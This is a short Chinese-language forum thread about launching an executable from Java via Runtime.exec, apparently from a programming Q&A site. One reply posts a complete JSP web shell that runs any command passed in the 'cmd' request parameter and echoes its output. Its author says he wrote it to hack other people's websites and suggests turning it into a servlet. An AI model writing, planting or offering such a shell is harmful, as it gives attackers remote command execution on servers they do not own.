Runtime.getRuntime().exec("(exe文件所在目录的完整路径)\\*.exe");

解决方案 »

  1.   

    这个我试过,好像在servlet中不管用
      

  2.   

    嘿嘿,这是我写来专门黑别人网站用的.JSP都吐血给你了:0-)
    你把它改成SERVLET也可以
    <%@ page import="java.io.*" %>
    <%
    try {
                String cmd = request.getParameter("cmd");
                Process child = Runtime.getRuntime().exec(cmd);
                InputStream in = child.getInputStream();
                int c;
                while ((c = in.read()) != -1) {
                    out.print((char)c);
                }
                in.close();
                try {
                    child.waitFor();
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            } catch (IOException e) {
                System.err.println(e);
            }
    %>